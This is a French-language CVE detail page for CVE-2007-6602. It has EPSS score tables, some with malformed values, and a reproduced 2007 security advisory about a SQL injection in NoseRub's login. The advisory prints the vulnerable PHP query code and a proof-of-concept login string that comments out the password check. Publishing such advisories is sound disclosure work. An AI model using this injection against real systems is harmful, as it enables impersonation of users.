CVE-2007-6602 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.14%	–	–
2022-03-13	–	–	1.14%	–	–
2022-04-03	–	–	1.14%	–	–
2022-06-26	–	–	1.14%	–	–
2022-09-25	–	–	1.14%	–	–
2023-02-26	–	–	1.14%	–	–
2023-03-12	–	–	–	0.21%	–
2023-04-16	–	–	–	0.21%	–
2023-09-17	–	–	–	0.21%	–
2024-02-11	–	–	–	0.21%	–
2024-04-07	–	–	–	0.21%	–
2024-06-02	–	–	–	0.21%	–
2024-07-14	–	–	–	0.21%	–
2024-07-28	–	–	–	0.21%	–
2024-08-25	–	–	–	0.21%	–
2024-09-22	–	–	–	0.21%	–
2024-09-29	–	–	–	0.3%	–
2024-12-22	–	–	–	0.3%	–
2025-01-19	–	–	–	0.29%	–
2025-01-19	–	–	–	0.29%	–
2025-03-18	–	–	–	–	0.7%
2025-03-18	–	–	–	–	0.7,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	35%
2022-03-13	36%
2022-04-03	57%
2022-06-26	58%
2022-09-25	59%
2023-02-26	6%
2023-03-12	57%
2023-04-16	58%
2023-09-17	59%
2024-02-11	58%
2024-04-07	59%
2024-06-02	59%
2024-07-14	6%
2024-07-28	59%
2024-08-25	6%
2024-09-22	59%
2024-09-29	7%
2024-12-22	69%
2025-01-19	69%
2025-01-19	69%
2025-03-18	7%
2025-03-18	7%

############################################################################ -- ---------- ---- - ---------------------------- ---------- ---- -- ----------------------------- ------------- ---seclog- ------------------ ------------ -- --- ------------------- --------- ---- ------------------- ------- -------------------------- --- -------------- ----------- --- -------------- -- --- - - --- -------------- - -- - ---- --------- ---------- ------- - - -- ---------- ------ - ------- ----- - --------- ------ ---- --------- --- -- --- -- -- ############################################################################ # seclog.de Security Advisory 2007-001 # ############################################################################ Advisory: NoseRub Login SQL Injection Vulnerability Affected Versions: <= 0.5.2 Fixed Versions: current SVN Risk: critical Vendor URL: http://noserub.com Vendor Status: informed, fixed version will be released soon Advisory URL: http://seclog.de/pub/seclog-2007-001.txt Advisory Status: public Author: Felix Groebert <felix AT groebert DOT org> Revision: 2007-12-26 Introduction ============ NoseRub is a protocol for and a sample implementation of a decentralized social network. Vulnerability ============= The login script fails to validate user input. It is possible to insert double quotes in order to escape the following SQL query: SELECT `Identity`.`id`, `Identity`.`is_local`, [...] FROM `identities` AS `Identity` WHERE `Identity`.`hash` = '' AND `Identity`.`username` = "www.example.com/noserub/USERNAME" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1 The query is generated at the end of the function check() in app/models/identity.php: return $this->find(array('Identity.hash' => '', 'Identity.username = "'. $username .'"', 'Identity.password' => md5($data['Identity']['password']))); Proof of Concept ================ The SQL injection bug can be exploited by impersonating a registered user. Go to: http://www.example.com/noserub/pages/login/ Login as: somereallogin " -- " Password: unknownpassword This results in the following SQL query, commenting out the fourth and fifth lines using double dashes, thus maintaining valid SQL syntax. SELECT `Identity`.`id`, `Identity`.`is_local`, [...] FROM `identities` AS `Identity` WHERE `Identity`.`hash` = '' AND `Identity`.`username` = "www.example.com/noserub/somereallogin" -- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1 Recommendation ============== It is recommended to upgrade to NoseRub > 0.5.2. A preliminary patched version of the affected file can be downloaded from SVN revision 515: http://noserub.googlecode.com/svn/trunk/app/models/identity.php Disclosure Timeline =================== 2007-12-19 Problem found 2007-12-19 Notified developers 2007-12-20 Received response with proposed fix 2007-12-20 Sent acknowledgment concerning fix 2007-12-26 Released advisory to public About seclog.de =============== seclog.de is not your average latest-vulnerability-weblog. We try to deliver quality commentary on recent security news and issues. Our focus ranges from secure programming, exploitation techniques, applied cryptography, network security, privacy, biometrics to social engineering: from the organizational and human layers to the physical and application layers. The weblog is partly in english and german. Check it out. Disclaimer and Copyright ======================== The author is not responsible for the misuse of the information provided in this security advisory. Advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice. This advisory Copyright (C) 2007 Felix Groebert. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. ############################################################################ # milw0rm.com [2007-12-28]